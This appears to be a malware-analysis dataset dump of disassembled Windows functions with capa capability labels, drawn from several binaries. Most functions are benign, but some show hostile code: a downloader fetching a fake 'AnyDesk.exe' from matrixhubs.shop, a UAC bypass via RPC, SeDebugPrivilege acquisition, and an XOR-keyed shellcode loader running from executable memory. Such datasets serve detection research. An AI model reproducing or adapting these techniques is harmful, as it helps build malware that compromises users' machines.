joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140008034
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x12e0]
mov eax, 0x13e0
call fcn.14000eb00
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x12d0], rax
mov rbx, rcx
mov qword [rsp + 0x30], rcx
xor r14d, r14d
mov dword [rsp + 0x20], r14d
call fcn.14000e714
mov edx, eax
or dword [rbp + 0x12c4], 0xffffffff
mov dword [rsp + 0x44], eax
lea r8d, [r14 + 1]
mov ecx, r8d
mov r9d, 0x270
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, ecx
mov dword [rsp + rcx*4 + 0x44], edx
add rcx, r8
cmp rcx, r9
jb 0x140008097
mov dword [rsp + 0x40], r9d
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], r14
mov esi, 7
mov qword [rbx + 0x18], rsi
mov word [rbx], r14w
mov dword [rsp + 0x20], r8d
lea r9d, [rsi + 0x19]
lea r8d, [rsi + 9]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x28]
call fcn.140006030
movsxd rdx, eax
cmp rdx, qword [rbx + 0x10]
ja 0x14000810a
mov qword [rbx + 0x10], rdx
mov rax, rbx
cmp qword [rbx + 0x18], rsi
jbe 0x140008103
mov rax, qword [rbx]
mov word [rax + rdx*2], r14w
jmp 0x140008119
xor r8d, r8d
sub rdx, qword [rbx + 0x10]
mov rcx, rbx
call fcn.140009204
mov rdi, rbx
cmp qword [rbx + 0x18], rsi
jbe 0x140008125
mov rdi, qword [rbx]
mov rcx, rbx
jbe 0x14000812d
mov rcx, qword [rbx]
mov rax, qword [rbx + 0x10]
lea rsi, [rcx + rax*2]
jmp 0x14000818b
mov r9d, 2
xor r8d, r8d
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x28]
call fcn.140006030
mov ecx, eax
test eax, eax
je 0x14000816b
sub ecx, 1
je 0x14000815f
cmp ecx, 1
jne 0x140008187
mov r9d, 0x7a
lea r8d, [r9 - 0x19]
jmp 0x140008175
mov r9d, 0x39
lea r8d, [r9 - 9]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x28]
call fcn.140006030
mov word [rdi], ax
add rdi, 2
cmp rdi, rsi
jne 0x140008137
mov rax, rbx
mov rcx, qword [rbp + 0x12d0]
xor rcx, rsp
call fcn.14000e8f0
lea r11, [rsp + 0x13e0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x14000a2a8
Capabilities:
Bypass uac via rpc

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x80]
sub rsp, 0x180
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x70], rax
mov r14d, r9d
mov r12, r8
mov r15, rdx
mov rsi, rcx
mov r13, qword [rbp + 0xe8]
mov rax, qword [rbp + 0xf0]
mov qword [rbp - 0x60], rax
mov rax, qword [rbp + 0xf8]
mov qword [rbp - 0x68], rax
mov rdi, qword [rbp + 0x110]
xor ebx, ebx
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x58], xmm0
movups xmmword [rbp - 0x48], xmm0
movups xmmword [rbp - 0x38], xmm0
mov qword [rbp - 0x28], rax
movsx eax, word [rbp + 0x108]
mov dword [rbp - 0x34], eax
xor eax, eax
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], rax
mov qword [rsp + 0x78], rbx
xor edx, edx
lea r8d, [rbx + 0x70]
lea rcx, [rbp]
call fcn.14001e810
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
lea r8d, [rbx + 0x24]
lea rdx, str.201ef99a_7fa0_444c_9399_19ba84f12a1a
lea rcx, [rbp - 0x20]
call fcn.140009384
nop
lea rdx, [rbp - 0x20]
cmp qword [rbp - 8], 7
cmova rdx, qword [rbp - 0x20]
lea r8, [rsp + 0x78]
mov rcx, rsi
call fcn.14000a538
test eax, eax
jne 0x14000a447
lea rdx, [rbp]
mov rcx, rsi
call fcn.14000a4d8
test eax, eax
jne 0x14000a42f
mov dword [rsp + 0x70], ebx
lea rax, [rsp + 0x70]
mov qword [rsp + 0x68], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x60], rax
mov eax, dword [rbp + 0x100]
mov dword [rsp + 0x58], eax
mov rax, qword [rbp - 0x68]
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x58]
mov qword [rsp + 0x48], rax
mov rax, qword [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov eax, dword [rbp + 0xe0]
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r12
mov r9, r15
mov r8, qword [rsp + 0x78]
lea rdx, [rbp]
mov rcx, rsi
call fcn.14000ae4c
test eax, eax
jne 0x14000a426
mov rax, qword [rbp - 0x80]
mov qword [rdi], rax
mov rax, qword [rbp - 0x78]
mov qword [rdi + 8], rax
mov eax, dword [rbp - 0x70]
mov dword [rdi + 0x10], eax
mov eax, dword [rbp - 0x6c]
mov dword [rdi + 0x14], eax
mov bl, 1
lea rcx, [rbp]
call fcn.14000a4b4
xor r8d, r8d
mov edx, 0x77a9d2de
mov rcx, rsi
call fcn.14000be08
lea rcx, [rsp + 0x78]
call rax
nop
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x14000a483
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a47e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a4ac
call fcn.14000e7dc
mov al, bl
mov rcx, qword [rbp + 0x70]
xor rcx, rsp
call fcn.14000e8f0
mov rbx, qword [rsp + 0x1d8]
add rsp, 0x180
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.1400148d4
int3
Function at 0x14000aaa0
Capabilities:
Acquire debug privileges

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rbp
mov qword [r11 + 0x18], rsi
push rdi
sub rsp, 0x60
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x50], rax
xor edi, edi
mov qword [r11 - 0x38], rdi
call fcn.14000de90
mov rcx, rax
lea r8, [rsp + 0x30]
lea edx, [rdi + 0x20]
call fcn.14000dfc8
test eax, eax
js 0x14000ab89
lea rcx, str.advapi32.dll
call fcn.14000c070
mov rsi, rax
test rax, rax
je 0x14000ab7f
xor r8d, r8d
mov qword [rsp + 0x38], rdi
mov edx, 0x2d6b006c
mov rcx, rax
call fcn.14000be08
lea r8, [rsp + 0x38]
xor ecx, ecx
lea rdx, str.SeDebugPrivilege
call rax
test eax, eax
je 0x14000ab77
mov rax, qword [rsp + 0x38]
lea ebp, [rdi + 1]
mov rbx, qword [rsp + 0x30]
xor r8d, r8d
mov edx, 0x1f8ea0e4
mov dword [rsp + 0x40], ebp
mov rcx, rsi
mov qword [rsp + 0x44], rax
mov dword [rsp + 0x4c], 2
call fcn.14000be08
xor r9d, r9d
mov qword [rsp + 0x28], rdi
lea r8, [rsp + 0x40]
mov qword [rsp + 0x20], rdi
xor edx, edx
mov rcx, rbx
call rax
test eax, eax
movzx edi, dil
cmovne edi, ebp
mov rcx, rsi
call fcn.14000bc78
mov rcx, qword [rsp + 0x30]
call fcn.14000dbfc
mov al, dil
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.14000e8f0
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x14000be08
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x150]
sub rsp, 0x250
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x140], rax
mov r13b, r8b
mov dword [rsp + 0x20], edx
xor edi, edi
lea r9, [rsp + 0x24]
xor r8d, r8d
mov dword [rsp + 0x24], edi
mov dl, 1
mov r14, rcx
call fcn.14000c5e0
mov rdx, rax
test rax, rax
je 0x14000c037
mov r12d, dword [rax + 0x1c]
or r15, 0xffffffffffffffff
mov r10d, dword [rax + 0x20]
add r12, r14
mov eax, dword [rax + 0x24]
add r10, r14
add rax, r14
mov ebx, edi
mov qword [rsp + 0x28], rax
mov esi, 0x35330d
test r13b, r13b
je 0x14000beac
movzx eax, word [rsp + 0x20]
cmp eax, dword [rdx + 0x10]
jb 0x14000c037
cmp eax, dword [rdx + 0x14]
jae 0x14000c037
sub eax, dword [rdx + 0x10]
mov ebx, dword [r12 + rax*4]
jmp 0x14000bf26
mov r9d, edi
cmp dword [rdx + 0x18], edi
jbe 0x14000bf29
mov eax, dword [rsp + 0x20]
mov r13d, dword [r10]
mov r11, r15
add r13, r14
inc r11
cmp byte [r11 + r13], dil
jne 0x14000bec1
mov r8d, esi
test r11, r11
je 0x14000befd
mov r15, rbx
movsx ecx, byte [r15 + r13]
mov eax, r8d
shl eax, 5
inc r15
add ecx, eax
mov eax, r8d
shr eax, 2
add ecx, eax
xor r8d, ecx
cmp r15, r11
jb 0x14000bed5
mov eax, dword [rsp + 0x20]
or r15, 0xffffffffffffffff
btr r8d, 0x1f
cmp r8d, eax
je 0x14000bf16
inc r9d
add r10, 4
cmp r9d, dword [rdx + 0x18]
jb 0x14000beb8
jmp 0x14000bf29
mov rcx, qword [rsp + 0x28]
mov eax, r9d
movzx ecx, word [rcx + rax*2]
mov ebx, dword [r12 + rcx*4]
add rbx, r14
cmp rbx, rdx
jb 0x14000c032
mov eax, dword [rsp + 0x24]
add rax, rdx
cmp rbx, rax
jae 0x14000c032
mov dl, 0x2e
mov rcx, rbx
call fcn.14000b8b0
mov r14, rax
test rax, rax
je 0x14000c037
xor edx, edx
lea rcx, [rsp + 0x40]
mov r8d, 0x200
call fcn.14001e810
mov ecx, edi
lea rdx, [rsp + 0x40]
cmp rbx, r14
je 0x14000bf8d
movsx eax, byte [rbx]
inc ecx
mov word [rdx], ax
inc rbx
add rdx, 2
cmp ecx, 0xff
jb 0x14000bf71
xorps xmm0, xmm0
lea rdx, [rsp + 0x28]
mov r8b, 1
lea rcx, [rsp + 0x40]
movups xmmword [rsp + 0x28], xmm0
call fcn.14000ba88
test al, al
jne 0x14000bfba
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x28]
call fcn.14000b85c
lea rcx, [rsp + 0x28]
call fcn.14000bca8
mov r14, rax
test rax, rax
je 0x14000c037
cmp byte [rbx + 1], 0x23
jne 0x14000bffb
lea rcx, [rbx + 2]
mov dword [rsp + 0x20], edi
lea r8, [rsp + 0x20]
xor edx, edx
call fcn.14000b8cc
test eax, eax
jns 0x14000c037
mov edx, dword [rsp + 0x20]
mov r8b, 1
mov rcx, r14
call fcn.14000be08
jmp 0x14000c039
inc r15
cmp byte [rbx + r15 + 1], dil
jne 0x14000bffb
test r15, r15
je 0x14000c027
movsx ecx, byte [rbx + rdi + 1]
mov eax, esi
shl eax, 5
inc rdi
add ecx, eax
mov eax, esi
shr eax, 2
add ecx, eax
xor esi, ecx
cmp rdi, r15
jb 0x14000c00a
btr esi, 0x1f
xor r8d, r8d
mov edx, esi
jmp 0x14000bff1
mov rax, rbx
jmp 0x14000c039
xor eax, eax
mov rcx, qword [rbp + 0x140]
xor rcx, rsp
call fcn.14000e8f0
mov rbx, qword [rsp + 0x2a0]
add rsp, 0x250
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x14000c684
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
test rcx, rcx
je 0x14000c6a6
mov edx, 0x5a4d
cmp word [rcx], dx
jne 0x14000c6a6
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
cmove rax, rdx
ret

Function at 0x14000c6a8
Capabilities:
Enumerate pe sections

Disassembly:
movzx r8d, word [rcx + 0x14]
movzx r10d, word [rcx + 6]
add r8, 0x18
add r8, rcx
xor r9d, r9d
jmp 0x14000c6d6
mov ecx, dword [r8 + 0xc]
cmp edx, ecx
jb 0x14000c6ce
add ecx, dword [r8 + 0x10]
cmp edx, ecx
jb 0x14000c6df
inc r9w
add r8, 0x28
cmp r9w, r10w
jb 0x14000c6be
xor eax, eax
ret
mov rax, r8
ret

Function at 0x14000f6d0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000f71a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000f71a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000f71a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000f71a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000f71a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000f71c
xor al, al
add rsp, 0x28
ret

Function at 0x140015a04
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x140015a73
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140015a73
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140015a73
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140015a73
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140015a73
cmp dword [rcx + 0x84], 0xe
jbe 0x140015a73
cmp dword [rcx + 0xf8], 0
je 0x140015a73
mov ecx, ebx
call fcn.140015b24
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140015900
nop
cmp dword [rbp + 0x20], 0
je 0x140015ac1
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140015acc
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x140015a04

Function at 0x140015c08
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140015a04
Function at 0x140018ec4
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140018ef4
xor eax, eax
jmp 0x140018fb7
mov rbp, rbx
cmp word [rax], si
je 0x140018f19
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140018f00
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140018efc
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140018de4
movsxd r14, eax
test eax, eax
jne 0x140018f57
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140018eed
mov rcx, r14
call fcn.1400173e0
mov rdi, rax
test rax, rax
jne 0x140018f70
xor ecx, ecx
call fcn.140017440
jmp 0x140018f4c
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140018de4
test eax, eax
jne 0x140018fa1
mov rcx, rdi
call fcn.140017440
jmp 0x140018fab
xor ecx, ecx
call fcn.140017440
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x14001e000
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14001e028
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14001e028
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret

Function at 0x140001000
Capabilities:
Download url
Receive data

Disassembly:
sub rsp, 0x38
xor r9d, r9d
mov qword [rsp + 0x20], 0
lea r8, str.newuimatrix.exe
xor ecx, ecx
lea rdx, str.https:__matrixhubs.shop_rawfile_AnyDesk.exe
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Download_successful_
test eax, eax
je 0x14000103f
lea rdx, str.Download_failed_
call fcn.140001060
lea rdx, [0x140001240]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor eax, eax
add rsp, 0x38
ret

Function at 0x140001bc8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001c12
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001c12
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001c12
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001c12
cmp dword [rcx + 0x84], 0xe
jbe 0x140001c12
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001c14
xor al, al
add rsp, 0x28
ret
Function at 0x1400111f4
Capabilities:
Terminate process

Disassembly:
jmp 0x140012e90
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret

Function at 0x14001126c
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
jmp 0x1400118b0
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x178
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x22
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x198]
mov rax, qword [0x1400251c0]
xor rax, rbp
mov qword [rbp + 0x138], rax
lea rcx, [0x14002a0a2]
call fcn.140011375
nop
mov dword [rbp + 0x64], 0
mov eax, dword [0x14001d1cc]
mov r9d, 4
mov r8d, 0x3000
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 8], rax
mov eax, dword [0x14001d1cc]
mov r9d, 0xd
lea r8, str.verylargekey
mov edx, eax
lea rcx, section..data
call fcn.1400111a9
nop
mov eax, dword [0x14001d1cc]
mov r8d, eax
lea rdx, section..data
mov rcx, qword [rbp + 8]
call fcn.1400113b1
nop
cmp qword [rbp + 8], 0
jne 0x14001196e
mov eax, 0xffffffff
jmp 0x1400119cb
mov eax, dword [0x14001d1cc]
lea r9, [rbp + 0x64]
mov r8d, 0x40
mov edx, eax
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
je 0x1400119c9
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 8]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x48], rax
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x14001ac00]
call fcn.140011307
mov rax, rdi
mov rcx, qword [rbp + 0x138]
xor rcx, rbp
call fcn.1400111ae
lea rsp, [rbp + 0x148]
pop rdi
pop rbp
ret

Function at 0x140011276
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400141e0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014200
xor al, al
jmp 0x140014281
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014213
xor al, al
jmp 0x140014281
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001423d
xor al, al
jmp 0x140014281
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014251
xor al, al
jmp 0x140014281
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014263
xor al, al
jmp 0x140014281
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001427f
xor al, al
jmp 0x140014281
mov al, 1
add rsp, 0x38
ret
Function at 0x1400120c0
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.14001139d
movzx eax, al
test eax, eax
jne 0x1400120e0
mov ecx, 7
call fcn.140011311
nop
mov byte [rsp + 0x20], 0
call fcn.140011325
mov byte [rsp + 0x21], al
cmp dword [0x140025a28], 1
jne 0x140012104
mov ecx, 7
call fcn.140011311
nop
jmp 0x14001215c
cmp dword [0x140025a28], 0
jne 0x140012157
mov dword [0x140025a28], 1
lea rdx, [0x14001a660]
lea rcx, [0x14001a330]
call fcn.140011195
test eax, eax
je 0x140012138
mov eax, 0xff
jmp 0x140012261
lea rdx, [0x14001a220]
lea rcx, [section..rdata]
call fcn.14001131b
mov dword [0x140025a28], 2
jmp 0x14001215c
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.1400112fd
call fcn.140011299
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x1400121b9
mov rcx, qword [rsp + 0x30]
call fcn.140011154
movzx eax, al
test eax, eax
je 0x1400121b9
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x14002b020]
nop
call fcn.1400112cb
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x1400121ed
mov rcx, qword [rsp + 0x38]
call fcn.140011154
movzx eax, al
test eax, eax
je 0x1400121ed
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.140011357
nop
call fcn.140012310
mov dword [rsp + 0x28], eax
call fcn.140011276
movzx eax, al
test eax, eax
jne 0x14001220c
mov ecx, dword [rsp + 0x28]
call fcn.140011055
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x14001221b
call fcn.140011361
nop
xor edx, edx
mov cl, 1
call fcn.140011145
mov eax, dword [rsp + 0x28]
jmp 0x140012261
add rsp, 0x68
ret
Function at 0x14000d460
Capabilities:
Resolve dns

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x3f0]
sub rsp, 0x4f0
mov rax, qword [0x1400e6470]
xor rax, rsp
mov qword [rbp + 0x3e0], rax
mov ebx, edx
mov dword [rsp + 0x40], 0x80
mov edi, ecx
xor edx, edx
lea rcx, [rsp + 0x50]
mov r8d, 0x80
call fcn.140077270
lea r8, [rsp + 0x40]
mov ecx, edi
lea rdx, [rsp + 0x50]
test ebx, ebx
je 0x14000d4c9
call fcn.140064290
test eax, eax
je 0x14000d4d2
xor eax, eax
jmp 0x14000d5c4
call fcn.140064390
test eax, eax
jne 0x14000d4c2
movzx edx, word [rsp + 0x50]
cmp dx, 0x17
jne 0x14000d547
cmp dword [rsp + 0x58], 0
mov dword [rsp + 0x40], 0x1c
jne 0x14000d547
cmp dword [rsp + 0x5c], 0
jne 0x14000d547
mov ecx, 0xffff
call qword [sym.imp.WS2_32.dll_htonl]
cmp dword [rsp + 0x60], eax
jne 0x14000d542
lea rcx, str.Normalising_mapped_IPv4_in_IPv6_address
call fcn.140002e50
movzx ecx, word [rsp + 0x52]
xor edx, edx
mov eax, dword [rsp + 0x64]
mov qword [rsp + 0x50], rdx
mov qword [rsp + 0x58], rdx
mov edx, 2
mov word [rsp + 0x50], dx
mov dword [rsp + 0x40], setsockopt
mov dword [rsp + 0x54], eax
mov word [rsp + 0x52], cx
jmp 0x14000d547
movzx edx, word [rsp + 0x50]
movzx ecx, dx
sub ecx, 1
je 0x14000d5ba
sub ecx, 1
je 0x14000d55d
cmp ecx, 0x15
jne 0x14000d4c2
mov edx, dword [rsp + 0x40]
lea r8, [rbp - 0x30]
xor eax, eax
mov dword [rsp + 0x30], 2
mov dword [rsp + 0x28], eax
lea rcx, [rsp + 0x50]
mov r9d, 0x401
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_getnameinfo]
test eax, eax
je 0x14000d5b4
mov ecx, eax
call fcn.1400034f0
mov r9, rax
lea rdx, str.get_socket_address
mov r8d, 2
lea rcx, str._s:_getnameinfo__d_failed:__s
call fcn.140002d00
xor eax, eax
jmp 0x14000d5c4
lea rcx, [rbp - 0x30]
jmp 0x14000d5bf
lea rcx, [rsp + 0x52]
call fcn.14000b9d0
mov rcx, qword [rbp + 0x3e0]
xor rcx, rsp
call fcn.140075860
lea r11, [rsp + 0x4f0]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x14000d650
Capabilities:
Resolve dns

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x100
mov rax, qword [0x1400e6470]
xor rax, rsp
mov qword [rsp + 0xf0], rax
mov ebx, edx
mov dword [rsp + 0x40], 0x80
mov edi, ecx
xor edx, edx
lea rcx, [rsp + 0x50]
mov r8d, 0x80
call fcn.140077270
lea r8, [rsp + 0x40]
mov ecx, edi
lea rdx, [rsp + 0x50]
test ebx, ebx
je 0x14000d6c8
call fcn.140064390
test eax, eax
jns 0x14000d6f1
call fcn.1400825b0
mov ecx, dword [rax]
call fcn.14005f2e0
mov rdx, rax
lea rcx, str.getsockname_failed:__.100s
call fcn.140002d00
xor eax, eax
jmp 0x14000d76d
call fcn.140064290
test eax, eax
jns 0x14000d6f1
call fcn.1400825b0
mov ecx, dword [rax]
call fcn.14005f2e0
mov rdx, rax
lea rcx, [0x1400c4e80]
call fcn.140002df0
or eax, 0xffffffff
jmp 0x14000d76d
movzx eax, word [rsp + 0x50]
cmp ax, 0x17
jne 0x14000d707
mov edx, 0x1c
mov dword [rsp + 0x40], edx
jmp 0x14000d711
cmp ax, 2
jne 0x14000d6c1
mov edx, dword [rsp + 0x40]
mov dword [rsp + 0x30], 8
lea rax, [rsp + 0xd0]
mov dword [rsp + 0x28], 0x20
lea rcx, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.WS2_32.dll_getnameinfo]
test eax, eax
je 0x14000d760
mov ecx, eax
call fcn.1400034f0
mov r8, rax
lea rdx, str.get_sock_port
lea rcx, str._s:_getnameinfo_NI_NUMERICSERV_failed:__s
call fcn.14000c3a0
lea rcx, [rsp + 0xd0]
call fcn.14008689c
mov rcx, qword [rsp + 0xf0]
xor rcx, rsp
call fcn.140075860
mov rbx, qword [rsp + 0x118]
add rsp, 0x100
pop rdi
ret

Function at 0x14000d7a0
Capabilities:
Resolve dns

Disassembly:
mov edx, 1
jmp fcn.14000d650
Function at 0x140019050
Capabilities:
